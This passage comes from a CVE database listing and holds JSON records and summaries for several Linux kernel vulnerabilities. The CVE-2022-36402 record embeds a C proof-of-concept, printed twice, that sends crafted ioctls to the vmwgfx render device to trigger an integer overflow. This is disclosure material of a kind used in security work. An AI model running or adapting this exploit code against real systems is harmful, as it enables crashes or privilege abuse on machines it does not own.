            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec-next.git/commit/?id=02e1a114fdb71e59ee6770294166c30d437bf86a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.211045"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20221223-0003/"
          },
          {
            "name": "DSA-5324",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.debian.org/security/2023/dsa-5324"
          },
          {
            "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html"
          },
          {
            "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-3545",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-14T17:08:55.254158Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-15T13:43:19.382Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V1.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-14T13:47:06.691Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-794697.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-625862.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Kernel",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability has been found in Linux Kernel and classified as critical. Affected by this vulnerability is the function area_cache_get of the file drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211045 was assigned to this vulnerability."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-119",
              "description": "CWE-119 Memory Corruption -\u003e CWE-416 Use After Free",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-05-03T00:00:00.000Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec-next.git/commit/?id=02e1a114fdb71e59ee6770294166c30d437bf86a"
        },
        {
          "url": "https://vuldb.com/?id.211045"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20221223-0003/"
        },
        {
          "name": "DSA-5324",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.debian.org/security/2023/dsa-5324"
        },
        {
          "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html"
        },
        {
          "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html"
        }
      ],
      "title": "Linux Kernel IPsec nfp_cppcore.c area_cache_get use after free",
      "x_generator": "vuldb.com"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2022-3545",
    "datePublished": "2022-10-17T00:00:00.000Z",
    "dateReserved": "2022-10-17T00:00:00.000Z",
    "dateUpdated": "2026-10-14T13:47:06.691Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-36402 (GCVE-0-2022-36402)

Vulnerability from cvelistv5 – Published: 2022-09-16 16:08 – Updated: 2024-09-17 03:38

Title

There is an int overflow vulnerability in vmwgfx driver

Summary

An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Severity

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-118 - Incorrect Access of Indexable Resource ('Range Error')

Assigner

Anolis CNA under the mitre root

CNA scorecard – unranked: 0 records in the last 180 days, 10 needed details

References

1 reference

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=2072	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
Linux	kernel	Affected: v4.3-rc1 , < 5.13.0-52* (custom)

Date Public

2022-09-06 00:00

Credits

Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T10:00:04.458Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.3-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-118",
              "description": "CWE-118 Incorrect Access of Indexable Resource (\u0027Range Error\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-09-16T16:08:01.000Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
        }
      ],
      "source": {
        "defect": [
          "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
        ],
        "discovery": "INTERNAL"
      },
      "title": "There is an int overflow vulnerability in vmwgfx driver",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      },
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "AKA": "Anolis",
          "ASSIGNER": "security@openanolis.org",
          "DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
          "ID": "CVE-2022-36402",
          "STATE": "PUBLIC",
          "TITLE": "There is an int overflow vulnerability in vmwgfx driver"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "kernel",
                      "version": {
                        "version_data": [
                          {
                            "version_affected": "\u003e=",
                            "version_name": "5.13.0-52",
                            "version_value": "v4.3-rc1"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Linux"
              }
            ]
          }
        },
        "credit": [
          {
            "lang": "eng",
            "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
          }
        ],
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "An integer overflow vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
            }
          ]
        },
        "exploit": [
          {
            "lang": "en",
            "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n               0x2000,\n                PROT_READ | PROT_WRITE,\n                MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n                printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n                        strerror(errno));\n                        }\n                        \n          memset(vaddr,\"a\",0x2000);     \nint cmd[0x1000]={0};\ncmd[0]=1149;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
          }
        ],
        "generator": {
          "engine": "Vulnogram 0.0.9"
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-118 Incorrect Access of Indexable Resource (\u0027Range Error\u0027)"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072",
              "refsource": "MISC",
              "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
            }
          ]
        },
        "source": {
          "defect": [
            "https://bugzilla.openanolis.cn/show_bug.cgi?id=2072"
          ],
          "discovery": "INTERNAL"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-36402",
    "datePublished": "2022-09-16T16:08:01.414Z",
    "dateReserved": "2022-09-07T00:00:00.000Z",
    "dateUpdated": "2024-09-17T03:38:12.736Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2022-41858 (GCVE-0-2022-41858)

Vulnerability from cvelistv5 – Published: 2023-01-17 00:00 – Updated: 2025-04-07 16:46

Summary

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-04-07 16:46 UTC

CWE

CWE-416

Assigner

redhat CNA under the redhat root

CNA scorecard B 82/100 over 1088 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/torvalds/linux/commit/ec4eb8a8…
https://security.netapp.com/advisory/ntap-2023022…

Impacted products

1 product

Vendor	Product	Version
n/a	Linux kernel	Affected: unknown

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T12:56:38.264Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://github.com/torvalds/linux/commit/ec4eb8a86ade4d22633e1da2a7d85a846b7d1798"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20230223-0006/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.1,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2022-41858",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-07T16:46:04.627051Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-07T16:46:38.678Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Linux kernel",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A flaw was found in the Linux kernel. A NULL pointer dereference may occur while a slip driver is in progress to detach in sl_tx_timeout in drivers/net/slip/slip.c. This issue could allow an attacker to crash the system or leak internal kernel information."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-416",
              "description": "CWE-416",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-02-23T00:00:00.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "url": "https://github.com/torvalds/linux/commit/ec4eb8a86ade4d22633e1da2a7d85a846b7d1798"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230223-0006/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2022-41858",
    "datePublished": "2023-01-17T00:00:00.000Z",
    "dateReserved": "2022-09-30T00:00:00.000Z",
    "dateUpdated": "2025-04-07T16:46:38.678Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-2166 (GCVE-0-2023-2166)

Vulnerability from cvelistv5 – Published: 2023-04-19 00:00 – Updated: 2025-02-05 15:13

Summary

A null pointer dereference issue was found in can protocol in net/can/af_can.c in the Linux before Linux. ml_priv may not be initialized in the receive path of CAN frames. A local user could use this flaw to crash the system or potentially cause a denial of service.

Severity

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-02-05 15:12 UTC

CWE

CWE-476
CWE-476 - NULL Pointer Dereference

Assigner

redhat CNA under the redhat root

CNA scorecard B 82/100 over 1088 records in the last 180 days details

References

1 reference

URL	Tags
https://lore.kernel.org/lkml/CAO4mrfcV_07hbj8NUuZ…

Impacted products

1 product

Vendor	Product	Version
n/a	Linux	Affected: Linux Kernel version prior to Kernel 6.1 RC9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T06:12:20.539Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lore.kernel.org/lkml/CAO4mrfcV_07hbj8NUuZrA8FH-kaRsrFy-2metecpTuE5kKHn5w%40mail.gmail.com/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-2166",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-05T15:12:07.422598Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-05T15:13:09.129Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Linux",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "Linux Kernel version prior to Kernel 6.1 RC9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A null pointer dereference issue was found in can protocol in net/can/af_can.c in the Linux before Linux. ml_priv may not be initialized in the receive path of CAN frames. A local user could use this flaw to crash the system or potentially cause a denial of service."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-04-19T00:00:00.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "url": "https://lore.kernel.org/lkml/CAO4mrfcV_07hbj8NUuZrA8FH-kaRsrFy-2metecpTuE5kKHn5w%40mail.gmail.com/"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2023-2166",
    "datePublished": "2023-04-19T00:00:00.000Z",
    "dateReserved": "2023-04-18T00:00:00.000Z",
    "dateUpdated": "2025-02-05T15:13:09.129Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2023-2176 (GCVE-0-2023-2176)

Vulnerability from cvelistv5 – Published: 2023-04-20 00:00 – Updated: 2025-05-05 16:01

Summary

A vulnerability was found in compare_netdev_and_ip in drivers/infiniband/core/cma.c in RDMA in the Linux Kernel. The improper cleanup results in out-of-boundary read, where a local user can utilize this problem to crash the system or escalation of privilege.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-04-23 13:28 UTC

CWE

CWE-125

Assigner

redhat CNA under the redhat root

CNA scorecard B 82/100 over 1088 records in the last 180 days details

References

2 references

URL	Tags
https://www.spinics.net/lists/linux-rdma/msg114749.html
https://security.netapp.com/advisory/ntap-2023060…

Impacted products

1 product

Vendor	Product	Version
n/a	Kernel	Affected: Linux 6.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T06:12:20.598Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://www.spinics.net/lists/linux-rdma/msg114749.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20230609-0005/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-2176",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-23T13:28:34.519474Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-05T16:01:21.860Z",
